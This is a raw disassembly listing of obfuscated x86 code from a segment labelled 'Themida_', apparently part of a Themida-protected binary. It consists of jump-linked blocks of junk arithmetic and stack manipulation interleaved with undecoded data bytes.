loc_5557B5:				; CODE XREF: Themida_:0055E679j
		xor	edx, 4CAD4AFAh
		push	edx
		sub	dword ptr [esp], 57FA09C2h
		jmp	loc_556966
; ---------------------------------------------------------------------------


loc_5557C8:				; CODE XREF: Themida_:0055C9E9j
		pop	ebp
		add	ebp, 982F3A6Ah
		jmp	loc_561719
; ---------------------------------------------------------------------------
		dd 5C240C87h, 0AA29E9h,	0EC835900h, 9466E904h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5557E6:				; CODE XREF: Themida_:00559D90j
		pop	ebp
		pop	dword ptr [esp]
		mov	esp, [esp]
		push	ecx
		mov	ecx, esp
		jmp	loc_55D6ED
; ---------------------------------------------------------------------------


loc_5557F5:				; CODE XREF: Themida_:00553296j
		pop	eax
		xor	ebp, [esp]
		xor	[esp], ebp
		xor	ebp, [esp]
		pop	esp
		jmp	loc_54F0C4
; ---------------------------------------------------------------------------
		db 83h,	0C4h, 4
		dd 6E13E9h, 7B13B800h, 0C5896F51h, 2D3BBA58h, 96E90D29h
		dd 89000014h, 1A35E9E2h, 4BA0000h, 1000000h, 8DD1E9D0h
		dd 8059FFFFh, 0F380FFC3h, 5BD8009Fh, 0F657B551h, 28A9E9D5h
		dd 8F5A0000h, 2FE92404h, 56FFFF88h, 27E9E689h, 81FFFFA2h
		dd 0A26644C5h, 0B1BA527Dh, 0E93EB24Dh, 0FFFF9EF0h
; ---------------------------------------------------------------------------


loc_555868:				; CODE XREF: Themida_:00561079j
		push	eax
		push	esi
		mov	eax, [esp]
		push	ecx
		jmp	loc_555319
; ---------------------------------------------------------------------------


loc_555873:				; CODE XREF: Themida_:0055B53Cj
		mov	edx, [esp]
		add	esp, 4
		xchg	ecx, edx
		sub	esp, 4
		mov	[esp], ecx
		jmp	loc_56056D
; ---------------------------------------------------------------------------


loc_555889:				; CODE XREF: Themida_:00552727j
		push	eax
		push	edx
		mov	edx, 50347AF4h
		sub	edx, 0E4E43C3Ch
		mov	eax, edx
		pop	edx
		and	eax, 2F410E1h
		jmp	loc_5602C3
; ---------------------------------------------------------------------------
		db 68h
		dd 7988h, 0E9242C89h, 8590h, 4EC81h, 0C890000h,	3AE95324h
		db 4Ah,	2 dup(0)
; ---------------------------------------------------------------------------


loc_5558BF:				; CODE XREF: Themida_:00561C24j
		push	dword ptr [esp]
		pop	eax
		add	esp, 4
		mov	edi, [esp]
		jmp	loc_5508D2
; ---------------------------------------------------------------------------
		dw 1DBAh
		dd 42108E29h, 0BB53D2F7h, 0EF71D6E5h, 815BDA31h, 0AC1CF7EDh
		dd 9AC5816Ah, 297CD044h, 9AED81D5h, 817CD044h, 0AC1CF7C5h
		dd 2C875A6Ah, 24248B24h, 8904EC83h, 0B9512424h,	4, 4244C01h
		dd 24048F59h, 0E9E78957h, 0B251h, 0A107E956h, 34FF0000h
		dd 0E9555924h, 0CD6Ah, 25172FBEh, 913EE93Eh, 0E9530000h
		dd 0FFFFE6E8h
; ---------------------------------------------------------------------------


loc_55593C:				; CODE XREF: Themida_:0055E4C1j
		add	ecx, 4
		add	ecx, 4
		jmp	loc_554BF7
; ---------------------------------------------------------------------------
		db 89h,	0D3h, 5Ah
		dd 4327F381h, 0AAE94005h, 81FFFFA5h, 4C1h, 0CABBE900h
		dd 0BF57FFFFh, 4, 0AE9F829h
		db 0D1h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_555973:				; CODE XREF: Themida_:005530A3j
		pop	edx
		jmp	loc_554BF1
; ---------------------------------------------------------------------------
		db 0B1h, 5Eh, 0E9h
		dd 0FFFFF1FDh, 0E9241C87h, 6F88h, 27FCC681h, 0CE296287h
		dd 27FCEE81h, 87596287h, 248B2434h, 990CE924h, 15FFFFFh
		dd 0E9555AD6h, 0FFFFA017h
; ---------------------------------------------------------------------------


loc_5559AC:				; CODE XREF: Themida_:0055894Cj
		push	5F9Dh
		mov	[esp], edi
		mov	edi, 4
		add	ebx, edi
		pop	edi
		xor	ebx, [esp]
		xor	[esp], ebx
		xor	ebx, [esp]
		jmp	loc_55B15F
; ---------------------------------------------------------------------------
		dw 0B850h
		dd 61774E46h, 37FAE9h, 40B400h,	0C32858E3h, 0FFD79CE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5559E1:				; CODE XREF: Themida_:00550ED6j
		inc	esi
		add	esi, 28B54BF5h
		push	ebp
		mov	ebp, 3D3375A9h
		neg	ebp
		jmp	loc_560932
; ---------------------------------------------------------------------------
		db 81h,	0C3h, 52h
		dd 0E96B2106h, 9A2Fh, 50242C8Bh, 0BA525854h, 6348630Ah
		dd 4473E281h, 0EAC13F73h, 56E28103h, 81394A78h,	75372AE2h
		dd 0CDE7E90Ah, 0F3800000h, 74E952FAh, 5C00007Ah, 4C281h
		dd 0EA810000h, 4, 1D1BE9h, 24148700h, 2859665Ch, 2434FFD8h
		dd 5B2434FFh, 4C481h
		db 2 dup(0)
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		push	ebp
		jmp	loc_55D291
; ---------------------------------------------------------------------------


loc_555A68:				; CODE XREF: Themida_:0055F786j
		sub	eax, 5DD43829h
		add	eax, esi
		jmp	loc_5519F2
; ---------------------------------------------------------------------------
		dd 60BEF681h, 0F7893F5Bh, 122BE95Eh, 665C0000h,	9C2424D3h
		dd 0FF8338E9h, 66C828FFh, 0C5B4E952h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_555A96:				; CODE XREF: Themida_:00557F82j
		add	ebx, 4
		jmp	loc_551970
; ---------------------------------------------------------------------------
		db 83h,	0C4h, 4
		dd 0AB0BE9h, 3C875C00h,	24248B24h, 576E68h, 242C8900h
		dd 0FFDBF7E9h, 48966FFh, 86F6E924h, 48B0000h, 4D37E924h
		dd 0C5810000h, 2, 0E9242C87h, 0FFFFA25Bh, 0C4C6815Ah, 810515D8h
		dd 0B26DE7EFh, 53F70122h, 0B26DE7BBh, 5BDF0122h, 4C7835Eh
		dd 2474FF57h, 48F5F04h,	0E95B5C24h, 0FFFF82BDh,	8704C783h
		dd 815C243Ch, 123C5EBh,	5BDA8948h, 67ABC281h, 0FA010E31h
		dd 953FE9h, 89525D00h, 4C281E2h, 81000000h, 4EAh, 74FF5200h
		dd 8F5A0424h, 895C2404h, 74BE2434h, 46790E4Bh, 0BA524646h
		dd 790E4B73h, 6547C681h, 0D6296E11h, 6547EE81h,	57E96E11h
		dd 52FFFFC3h, 0B2CEB450h, 58E23010h, 0CA80D2F6h, 463CE936h
		dd 202D0000h, 5210A41h,	7FA5334Ch, 8F52E9h, 0C9F58100h
		dd 0E90AE305h, 627Dh, 8124048Bh, 4C4h, 0F4FBE900h, 34FFFFFFh
		dd 1EEFE924h, 680000h, 29000000h, 455D242Ch, 3C08ED81h
		dd 0E5C17C19h, 0F5814502h, 6020BECCh, 0FFF4C9E9h, 241C89FFh
		dd 5384B151h, 0F930CBB7h, 4EC815Bh, 89000000h, 0FCE9241Ch
		dd 50FFFFD0h, 0C1243481h, 59579472h, 72C1F181h,	48B5794h
		dd 4C48324h, 1A7EC02Dh,	5C8012Fh, 2F1A7EC0h, 24048759h
		dd 6624248Bh, 2404BB0Fh, 81B3E99Ch
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_555C12:				; CODE XREF: Themida_:00560201j
		pop	eax
		xor	eax, edx
		push	dword ptr [esp]
		push	dword ptr [esp]
		pop	edx
		add	esp, 4
		add	esp, 4
		push	ecx
		mov	ecx, 7E53081Eh
		jmp	loc_5533A8
; ---------------------------------------------------------------------------
		dd 2C5FC281h, 1DE95445h
		db 2Ah,	2 dup(0)
; ---------------------------------------------------------------------------


loc_555C3B:				; CODE XREF: Themida_:005550F5j
		pop	ecx
		jmp	loc_558C37
; ---------------------------------------------------------------------------
		db 53h,	0BBh, 0C1h
		dd 8171F41Ch, 1B15C8E3h, 7EBC16Ah, 1B75F381h, 0EBC1324Dh
		dd 81D3F704h, 751D28EBh, 0E9D929F1h, 0B420h, 0EE31F531h
		dd 0C168F531h, 0E900006Fh, 2B1Bh, 0DE9BC2Ch
		db 0Eh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_555C7F:				; CODE XREF: Themida_:0055BEB0j
		push	1DA366EEh
		pop	edx
		jmp	loc_554BBC
; ---------------------------------------------------------------------------
		dw 0C481h
		dd 4, 113EB951h, 0F1814027h, 28966F5Bh,	17BAE9h, 1F260D00h
		dd 3635657Fh, 0E93F9A25h, 2B31h
; ---------------------------------------------------------------------------


loc_555CB0:				; CODE XREF: Themida_:005604C3j
		add	esp, 4
		push	edx
		mov	edx, 94632h
		push	edi
		mov	edi, 485D3E7Eh
		and	edi, 7B37240Ch
		xor	edi, 24C52DE2h
		add	edi, 23616F1Dh
		sub	edi, 61654CE7h
		add	edx, edi
		jmp	loc_558741
; ---------------------------------------------------------------------------
		db 58h,	89h, 0EFh
		dd 0B6E9535Dh
		db 9Dh,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_555CEB:				; CODE XREF: Themida_:00562925j
		xchg	ebp, [esp]
		jmp	loc_55CAAF
; ---------------------------------------------------------------------------
		db 0E9h
		dd 0FFFF80CDh
; ---------------------------------------------------------------------------


loc_555CF8:				; CODE XREF: Themida_:0055805Fj
		pop	edi
		add	esp, 4
		push	41A0h
		mov	[esp], ecx
		mov	ecx, 41285AB4h
		push	ebx
		jmp	loc_55EF6C
; ---------------------------------------------------------------------------
		db 9
		dd 0F6815FFEh, 67C06E73h, 0FFE26FE9h, 4104B9FFh, 0C141535Bh
		dd 0F18107E1h, 535840CAh, 0E195E950h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_555D32:				; CODE XREF: Themida_:00559175j
		neg	ebx
		inc	ebx
		neg	ebx
		not	ebx
		jmp	loc_55D263
; ---------------------------------------------------------------------------


loc_555D3E:				; CODE XREF: Themida_:00553837j
		pop	ebp
		add	ebx, 0FFFFFFFFh
		push	edx
		mov	edx, 53246E56h
		jmp	loc_55A61C
; ---------------------------------------------------------------------------


loc_555D50:				; CODE XREF: Themida_:00553408j
		mov	ecx, [esp]
		add	esp, 4
		add	esp, 4
		sub	bl, 0BAh
		push	ax
		jmp	loc_55E352
; ---------------------------------------------------------------------------
		dw 468h
		dd 0FF000000h, 0E95A2434h, 7F05h
; ---------------------------------------------------------------------------


loc_555D74:				; CODE XREF: Themida_:00557FB6j
		sub	esp, 4
		mov	[esp], ebx
		jmp	loc_55B331
; ---------------------------------------------------------------------------
		db 81h
		dd 50C58FEDh, 5DEF2980h, 5C243C87h, 0FFA0EFE9h,	0C4835EFFh
		dd 49C76804h, 83E90000h, 5FFFFC0h, 4, 2B22E9h, 0C4815800h
		dd 4, 405h, 9E95500h, 29FFFFDCh, 34FF5DEFh, 0ED69E924h
		dd 0C729FFFFh, 0FFB7FFE9h, 2C895CFFh, 73E95424h, 0BA00003Fh
		dd 4, 875AD001h, 8B5C2404h, 7B682404h, 0E9000046h, 72A4h
		dd 8704C183h, 0E95C240Ch, 0FFFF7FC9h, 0FB4FA7BEh, 5EF00179h
		dd 0FF89BAE9h, 0A6C981FFh, 0C107EB0Ch, 0D9F702E1h, 889FE9h
		db 0
; ---------------------------------------------------------------------------


loc_555E19:				; CODE XREF: Themida_:00557352j
		sub	eax, 74756691h
		add	eax, ecx
		add	eax, 74756691h
		pop	ecx
		push	6F7Eh
		jmp	loc_55F77E
; ---------------------------------------------------------------------------


loc_555E30:				; CODE XREF: Themida_:0055B366j
		mov	eax, 0E670C8B9h
		sub	edx, eax
		pop	eax
		xor	eax, edx
		mov	edx, [esp]
		add	esp, 4
		push	ebp
		mov	ebp, 33527F5Bh
		add	ebp, 1CCC60B5h
		sub	esp, 4
		mov	[esp], edi
		mov	edi, 3D4848C0h
		jmp	loc_54DEB8
; ---------------------------------------------------------------------------
		dd 0E92434FFh, 0FFFFECF1h, 7F2AB9B9h, 8BCA2914h, 0C481240Ch
		dd 4, 3C95E9h, 2685200h, 0FF3C695Fh, 835A2434h,	0A1E904C4h
		dd 66000041h, 68240C8Bh, 3FDAh,	54243C89h, 796AE9h, 24348700h
		dd 0A2FCE9h, 4B900h, 0C5810000h, 24035FFh, 0ED81CD01h
		dd 24035FFh, 0E9240C8Bh, 0FFFFC6D3h, 42DAF75Bh,	710CEA81h
		dd 0B8500971h, 1EA210F0h, 0E958C209h, 474Fh, 8B241487h
		dd 4892424h, 4B824h, 0C6810000h, 2A0014B3h, 0EE81C601h
		dd 2A0014B3h, 6295E958h, 0C6E90000h, 68FFFF7Eh,	579h, 68240C89h
		dd 200h, 57240C8Bh, 6EAFE9h
		db 0
; ---------------------------------------------------------------------------


loc_555F15:				; CODE XREF: Themida_:0054E9DAj
		pop	ecx
		mov	edi, 961BAA61h
		jmp	loc_5528A3
; ---------------------------------------------------------------------------
		dd 39E3BE56h, 574E2406h, 3F504BBFh, 0CF814F05h,	6237286Dh
		dd 8106E7C1h, 0FFFFFFEFh, 7D11E9FFh, 0C4810000h, 4, 0DE9C0FEh
		db 47h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_555F4F:				; CODE XREF: Themida_:0055A657j
		jz	loc_55504D
		push	dword ptr [edi+28h]
		push	ebx
		push	eax
		jmp	loc_553E0D
; ---------------------------------------------------------------------------


loc_555F5F:				; CODE XREF: Themida_:005596E0j
		mov	esi, 27D74FB6h
		mov	ebx, esi
		pop	esi
		sub	ebx, 434F4AFFh
		inc	ebx
		push	ebx
		not	dword ptr [esp]
		jmp	loc_54EAFF
; ---------------------------------------------------------------------------


loc_555F77:				; CODE XREF: Themida_:0055C3B5j
		xchg	ebx, [esp]
		pop	esp
		mov	[esp], esi
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		sub	ecx, 4
		xchg	ecx, [esp]
		pop	esp
		mov	[esp], edx
		push	6B1277E0h
		pop	edx
		jmp	loc_562932
; ---------------------------------------------------------------------------


loc_555F9F:				; CODE XREF: Themida_:005518B8j
		push	edx
		mov	edx, 5B3F63FCh
		and	edx, 3A780A8Eh
		shl	edx, 7
		add	edx, 0FC051FF3h
		xor	ebx, edx
		pop	edx
		jmp	loc_550DD2
; ---------------------------------------------------------------------------


loc_555FBC:				; CODE XREF: Themida_:005560CDj
		mov	eax, [esp]
		jmp	loc_55A751
; ---------------------------------------------------------------------------
		dd 0C181E189h, 4, 8704C183h, 4FE9240Ch,	5BFFFF97h, 0FFFFC381h
		dd 0DBF7FFFFh, 0FA7C381h, 0EC811E81h, 4, 0FF891FE9h, 56B151FFh
		dd 0C180C1FEh, 0BBB2525Ch, 6866h, 0E9241428h, 0FFFFA997h
; ---------------------------------------------------------------------------


loc_556008:				; CODE XREF: Themida_:00557CE7j
		add	eax, 33103CE3h
		add	eax, 733D4930h
		sub	eax, edi
		push	ebp
		jmp	loc_561C6E
; ---------------------------------------------------------------------------
aIxsG		db '䌎-g',0
		db 0
; ---------------------------------------------------------------------------


loc_556021:				; CODE XREF: Themida_:00560816j
		add	ebx, 5F070B0Dh
		jmp	loc_54EABF
; ---------------------------------------------------------------------------
		dd 8324348Bh, 8EE904C4h, 57FFFF7Dh, 0C1815F59h,	0CD3FAB4h
		dd 2E3FC281h, 0F7E96112h, 8B000009h, 0E7682424h, 8900002Eh
		dd 92682434h, 8900001Ch, 0DCE92424h, 81FFFFD2h,	4C4h, 3DDAE900h
		dd 0C7810000h, 58D019D1h, 55C70159h, 2E23DCBDh,	0C5814540h
		dd 74C64977h, 262FF581h, 0F7555FD8h, 0CEE92414h, 0AC000074h
		dd 47EBE952h, 0C8B0000h, 0E3895324h, 4C381h, 0C3830000h
		dd 241C8704h, 4FEAE9h, 0C895C00h, 55E18924h, 3648E9h
		db 0
; ---------------------------------------------------------------------------


loc_5560BD:				; CODE XREF: Themida_:0055AAE2j
		add	esp, 4
		add	esp, 4
		push	dword ptr [edi+eax*4]
		sub	dword ptr [esp], 71043E5Dh
		jmp	loc_555FBC
; ---------------------------------------------------------------------------


loc_5560D2:				; CODE XREF: Themida_:0055D64Bj
		mov	edx, esp
		add	edx, 4
		sub	edx, 4
		xchg	edx, [esp]
		pop	esp
		mov	[esp], ebx
		xor	[esp], eax
		xor	eax, [esp]
		jmp	loc_5508F9
; ---------------------------------------------------------------------------
		db 57h
		dd 1D85E9h
		db 0
; ---------------------------------------------------------------------------


loc_5560F5:				; CODE XREF: Themida_:0055336Aj
		div	ecx
		push	173Eh
		mov	[esp], ebp
		jmp	loc_54EADF
; ---------------------------------------------------------------------------
aWszu		db 'Wé§U',0
		align 2
		dw 2C8Bh
		dd 0E7895724h, 4C781h, 0C7810000h, 4, 8B243C87h, 67682424h
		dd 8900003Dh, 2EE9242Ch, 31FFFFC9h, 1C33241Ch, 24248B24h
		dd 89242C89h, 4EC83E5h,	5F98E9h
		db 0
; ---------------------------------------------------------------------------


loc_556145:				; CODE XREF: Themida_:00557200j
		or	eax, eax
		jnz	loc_554877
		sub	esp, 4
		mov	[esp], eax
		jmp	loc_5551AD
; ---------------------------------------------------------------------------


loc_55615B:				; CODE XREF: Themida_:005500DEj
		pop	esi
		jmp	loc_552912
; ---------------------------------------------------------------------------
		db 0FFh, 34h, 24h
		dd 0E9241C8Bh, 0FFFFC9CAh
; ---------------------------------------------------------------------------


loc_55616C:				; CODE XREF: Themida_:0054F19Dj
		push	edx
		jmp	loc_55E266
; ---------------------------------------------------------------------------
		dw 0EAC1h
		dd 0F2814A05h, 0D36F01F6h, 0CDE9D031h, 54000013h, 0FFA396E9h
		dd 5F5B68FFh, 1C890000h, 4BB24h, 0D8010000h, 0FF7E7CE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_55619D:				; CODE XREF: Themida_:0055F889j
		add	esp, 4
		add	esi, 4
		add	esi, 4
		jmp	loc_55D21D
; ---------------------------------------------------------------------------
		db 29h,	0D8h, 2Dh
		dd 6A406905h, 2404875Bh, 1C89665Ch, 77B324h, 1C8B66D8h
		dd 0E0895024h, 405h, 0FD4AE900h, 0F781FFFFh, 654B2DB3h
		dd 7669F781h, 5EE95CE2h, 4FFFFFBFh, 89A7C781h, 0F831F448h
		dd 8059E95Fh
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5561F6:				; CODE XREF: Themida_:0055C56Bj
		push	edi
		push	eax
		jmp	loc_54F96B
; ---------------------------------------------------------------------------


loc_5561FD:				; CODE XREF: Themida_:0054FA79j
		pop	dword ptr [esp]
		mov	esp, [esp]
		jmp	loc_561D58
; ---------------------------------------------------------------------------
		dd 0C34CB505h, 34FF5D15h, 0F8E95A24h, 89000072h, 68E9243Ch
		dd 5B0000A2h, 8124048Bh, 4C4h, 0FFD83100h, 505B2434h, 0E9525854h
		dd 0FFFFF5EEh, 0EF81EF01h, 35261E1Ah, 0E9F7015Dh, 0C657h
; ---------------------------------------------------------------------------


loc_556248:				; CODE XREF: Themida_:0054F004j
		add	ebx, 4
		push	esi
		mov	esi, 4
		jmp	loc_558966
; ---------------------------------------------------------------------------
		db 81h,	0C7h, 4
		dd 50000000h, 5F68E9h
		db 0
; ---------------------------------------------------------------------------


loc_556265:				; CODE XREF: Themida_:0055B44Bj
		add	dword ptr [esp], 4
		pop	ebx
		jmp	loc_559D66
; ---------------------------------------------------------------------------
		db 89h
		dd 6DB22414h, 5AD088h, 0E95866C5h, 0FFFFAD20h, 53240C89h
		dd 0B3F2B151h, 0FFEB80EAh, 801FB450h, 0E30052EBh, 5852C380h
		dd 0E9C8EB80h, 1E0h, 4C483h, 2BDDE9C3h,	875B0000h, 895C242Ch
		dd 0FF542404h, 57582434h, 0FFE9E789h, 33000017h, 0C31240Ch
		dd 240C3324h, 242CD25Ch, 7AF3E99Ch
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5562D2:				; CODE XREF: Themida_:00551EECj
		pop	ecx
		push	5B5Fh
		mov	[esp], ecx
		mov	ecx, 17A05D9Fh
		and	ebp, ecx
		jmp	loc_5596D8
; ---------------------------------------------------------------------------


loc_5562E7:				; CODE XREF: Themida_:0055E484j
		pop	esp
		jmp	loc_550D8F
; ---------------------------------------------------------------------------
		db 89h,	0CBh, 0E9h
		dd 51Ah, 405h, 0FE8BE900h, 5966FFFFh, 3AEC68h, 241C8900h
		dd 0EFC035B7h, 97B45004h, 8FBC480h, 0B06858E7h,	89000074h
		dd 8AB02404h, 0F086D8F6h, 0AF1DE9h, 4EA8100h, 0E9000000h
		dd 0FFFFA869h
; ---------------------------------------------------------------------------


loc_556334:				; CODE XREF: Themida_:00562009j
		mov	[esp], edx
		mov	edx, 71CA03ABh
		jmp	loc_556B8E
; ---------------------------------------------------------------------------


loc_556341:				; CODE XREF: Themida_:0055C1C8j
		xor	[esp], esi
		xor	esi, [esp]
		mov	esp, [esp]
		jmp	loc_54DDC5
; ---------------------------------------------------------------------------


loc_55634F:				; CODE XREF: Themida_:00558067j
		push	esi
		push	7941h
		mov	[esp], eax
		jmp	loc_55FFB9
; ---------------------------------------------------------------------------
		db 66h,	8Bh, 0Ch
aHmk		db '$hMK',0
		align 2
		dw 489h
		dd 34FF5424h, 0C4835824h, 4EC8304h, 5F24E9h, 240C8900h
		dd 619A68h, 241C8900h, 0E9AEB551h, 713h
; ---------------------------------------------------------------------------


loc_55638C:				; CODE XREF: Themida_:00557783j
		mov	esi, 681125D2h
		add	eax, esi
		pop	esi
		push	esi
		mov	esi, 20B25B9Bh
		shr	esi, 7
		push	ebp
		mov	ebp, 0
		push	edi
		mov	edi, 3B3076B1h
		jmp	loc_54EBD0
; ---------------------------------------------------------------------------
		dw 0E95Ah
		dd 58Fh, 1845B850h, 17357FDDh, 116AF75h, 0C200E9C2h, 0DD01FFFFh
		dd 81241C8Bh, 4C4h, 0EE895600h,	348BF789h, 4C48324h, 8212E9h
		db 0
; ---------------------------------------------------------------------------


loc_5563E1:				; CODE XREF: Themida_:005604BAj
		mov	[esp], ax
		mov	al, 0E8h
		add	cl, al
		pop	ax
		xor	al, cl
		push	dword ptr [esp]
		mov	ecx, [esp]
		jmp	loc_55318C
; ---------------------------------------------------------------------------


loc_5563F8:				; CODE XREF: Themida_:0054E662j
		pop	edx
		neg	cl
		jmp	loc_54E10C
; ---------------------------------------------------------------------------


loc_556400:				; CODE XREF: Themida_:005532E4j
		push	edx
		push	esp
		jmp	loc_5580A4
; ---------------------------------------------------------------------------


loc_556407:				; CODE XREF: Themida_:0054FC5Ej
		push	edx
		jmp	loc_561576
; ---------------------------------------------------------------------------
		db 88h,	0F4h, 8Bh
		dd 0C4812414h, 4, 5866E328h, 0C380F328h, 148B6618h
		db 24h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		jmp	loc_54EBCA
; ---------------------------------------------------------------------------


loc_55642D:				; CODE XREF: Themida_:0055238Bj
		not	esi
		inc	esi
		push	esi
		push	ecx
		pop	esi
		mov	ecx, [esp]
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		jmp	loc_554DF1
; ---------------------------------------------------------------------------


loc_556444:				; CODE XREF: Themida_:00557EBAj
		sub	ecx, edx
		pop	edx
		add	ecx, ebp
		jmp	loc_5512D5
; ---------------------------------------------------------------------------
		dw 0E95Ch
		dd 0FFFFE8A3h, 34FFFA31h, 60E95F24h, 80FFFF91h,	0BEE9DFEBh
		db 0BCh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_556467:				; CODE XREF: Themida_:00561DDCj
		pop	ebx
		pop	dword ptr [esp]
		mov	esp, [esp]
		jmp	loc_55F8D7
; ---------------------------------------------------------------------------


loc_556473:				; CODE XREF: Themida_:0055F93Bj
		xor	ebp, 6B394754h
		mov	ecx, ebp
		jmp	loc_552D56
; ---------------------------------------------------------------------------
		dd 0E905EB80h, 0FFFFD912h, 4BE56h, 16E90000h
		db 0CEh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_556493:				; CODE XREF: Themida_:0055237Dj
		add	ebx, edi
		push	dword ptr [esp]
		jmp	loc_552976
; ---------------------------------------------------------------------------
		db 0BBh, 46h, 1Bh
		dd 0DF2959D3h, 240C8B5Bh, 0FFA96DE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5564AD:				; CODE XREF: Themida_:0055D6CAj
		push	edi
		push	eax
		mov	eax, 6F0C6F7Fh
		mov	edi, 0C0F4E0DEh
		add	edi, eax
		pop	eax
		add	edi, 74815C82h
		add	edi, 10C66F11h
		xchg	esi, edi
		not	esi
		jmp	loc_559715
; ---------------------------------------------------------------------------


loc_5564D1:				; CODE XREF: Themida_:0055A7D5j
		mov	[esp], eax
		push	ebp
		mov	ebp, 0A6D4972h
		mov	eax, 1C5819C3h
		xor	eax, ebp
		pop	ebp
		and	eax, 247624DEh
		jmp	loc_5614F3
; ---------------------------------------------------------------------------
		dd 2D5FF801h, 0B2A97120h, 34FFC101h, 0A12FE924h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5564FE:				; CODE XREF: Themida_:0055E902j
		pop	edx
		pop	ebp
		add	eax, 2E577F1Ch
		jmp	loc_54F221
; ---------------------------------------------------------------------------


loc_55650A:				; CODE XREF: Themida_:00550AD6j
		mov	ebx, 37FE14BEh
		push	ebp
		jmp	loc_55DED4
; ---------------------------------------------------------------------------
		db 81h,	0C5h, 4
		dd 0E9000000h, 0FFFFB961h
; ---------------------------------------------------------------------------


loc_556520:				; CODE XREF: Themida_:00560FB8j
		push	ecx
		mov	ecx, 5DE67ADDh
		not	ecx
		dec	ecx
		not	ecx
		inc	ecx
		add	ecx, 0B62BB039h
		jmp	loc_55022F
; ---------------------------------------------------------------------------
		db 68h
		dd 265Dh, 54240489h, 0FF9A29E9h, 57B850FFh, 311D4CABh
		dd 0F80158C7h, 0E9D8295Fh, 9084h
; ---------------------------------------------------------------------------


loc_556558:				; CODE XREF: Themida_:0055EBADj
		push	2A4Fh
		mov	[esp], edi
		push	726Bh
		mov	[esp], ecx
		push	441E3259h
		pop	ecx
		push	0
		sub	[esp], ecx
		pop	ecx
		shl	ecx, 2
		jmp	loc_55A739
; ---------------------------------------------------------------------------


loc_55657F:				; CODE XREF: Themida_:00561BB1j
		push	dword ptr [esp+4]
		mov	eax, [esp]
		push	edi
		jmp	loc_56253E
; ---------------------------------------------------------------------------
		dd 1FB1E94Ah
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_556592:				; CODE XREF: Themida_:00554750j
		not	dh
		jmp	loc_554AFD
; ---------------------------------------------------------------------------


loc_556599:				; CODE XREF: Themida_:00562651j
		or	esi, edx
		pop	edx
		dec	esi
		jmp	loc_5612C0
; ---------------------------------------------------------------------------
		dw 815Fh
		dd 4C7h, 4BD5500h, 1000000h, 3C875DEFh,	0D8285C24h, 196AE9h
		db 0
; ---------------------------------------------------------------------------


loc_5565BD:				; CODE XREF: Themida_:0055FA70j
		pop	esp
		movzx	eax, al
		jmp	loc_5500B9
; ---------------------------------------------------------------------------


loc_5565C6:				; CODE XREF: Themida_:0054DE95j
		sub	esp, 4
		mov	[esp], edx
		jmp	loc_5609EC
; ---------------------------------------------------------------------------


loc_5565D1:				; CODE XREF: Themida_:005580ACj
		mov	ebp, 4
		jmp	loc_54E58E
; ---------------------------------------------------------------------------
		db 66h
		dd 8124048Bh, 2C4h, 8CF8000h, 5192C780h, 0CF0073B1h, 5BFD2859h
		dd 0D3F6DD86h, 0AA68DD86h, 0E900000Dh, 241h, 48EFBF57h
		dd 0BD5568FDh, 795D3F6Fh, 0AA84E94Dh, 8966FFFFh, 0C8E9241Ch
		dd 59FFFF84h, 34815556h, 5B60BE24h, 2810E93Fh
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_55662E:				; CODE XREF: Themida_:00550DA7j
		pop	edi
		add	eax, 93ECE2E4h
		jmp	loc_55399C
; ---------------------------------------------------------------------------
		db 81h,	0CAh, 34h
		dd 81138F12h, 3222E9F2h, 5AD589F3h, 15DE831h, 1C8758C3h
		dd 28E95C24h
		db 0E0h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_556657:				; CODE XREF: Themida_:00554B2Aj
		xchg	eax, [esp]
		pop	esp
		mov	[esp], edx
		push	eax
		mov	al, 96h
		mov	dh, al
		pop	eax
		push	ebx
		mov	bh, dh
		push	eax
		jmp	loc_55DA08
; ---------------------------------------------------------------------------
a313SF		db ']3<$1<$3<$é*”',0
		align 4


loc_55667C:				; CODE XREF: Themida_:0055EE2Fj
		pop	dword ptr [esp]
		add	dword ptr [esp], 4
		pop	dword ptr [esp]
		add	dword ptr [esp], 4
		pop	eax
		add	eax, 4
		sub	eax, 4
		sub	esp, 4
		jmp	loc_561BAE
; ---------------------------------------------------------------------------
		dw 74FFh
		dd 8F580424h, 9AE92404h, 83FFFF8Bh, 4A6804C4h, 8900004Bh
		dd 68532414h, 4EC04F8Fh, 81241C8Bh, 4C4h, 8CB8100h, 0E90BE15Fh
		dd 4FCEh, 4BB05051h, 50C568h, 240C8900h, 0C82828B1h, 0E92434FFh
		dd 0FFFFA44Dh, 0FA3DC781h, 73E990C9h, 66000027h, 83242C8Bh
		dd 0BEE902C4h, 0BDFFFFC4h, 322A3BCDh, 815DEB31h, 0B9A97DC3h
		dd 5BDE0169h, 4184E9h
		db 0
; ---------------------------------------------------------------------------


loc_55671D:				; CODE XREF: Themida_:0055E432j
		add	ecx, 4
		sub	ecx, 4
		xchg	ecx, [esp]
		pop	esp
		mov	[esp], edi
		jmp	loc_5521DD
; ---------------------------------------------------------------------------
		dw 0EF01h
		dd 243C875Dh, 4EC815Ch,	0E9000000h, 0FFFFB788h,	57E2BF57h
		dd 0EF817679h, 0FD852753h, 295FF989h, 0C60159CEh, 308FC681h
		dd 525878F4h, 4BAh, 5AD60100h, 2FEEE9h,	0C5E95D00h, 89000047h
		dd 88E9243Ch
		db 0BFh, 2 dup(0)
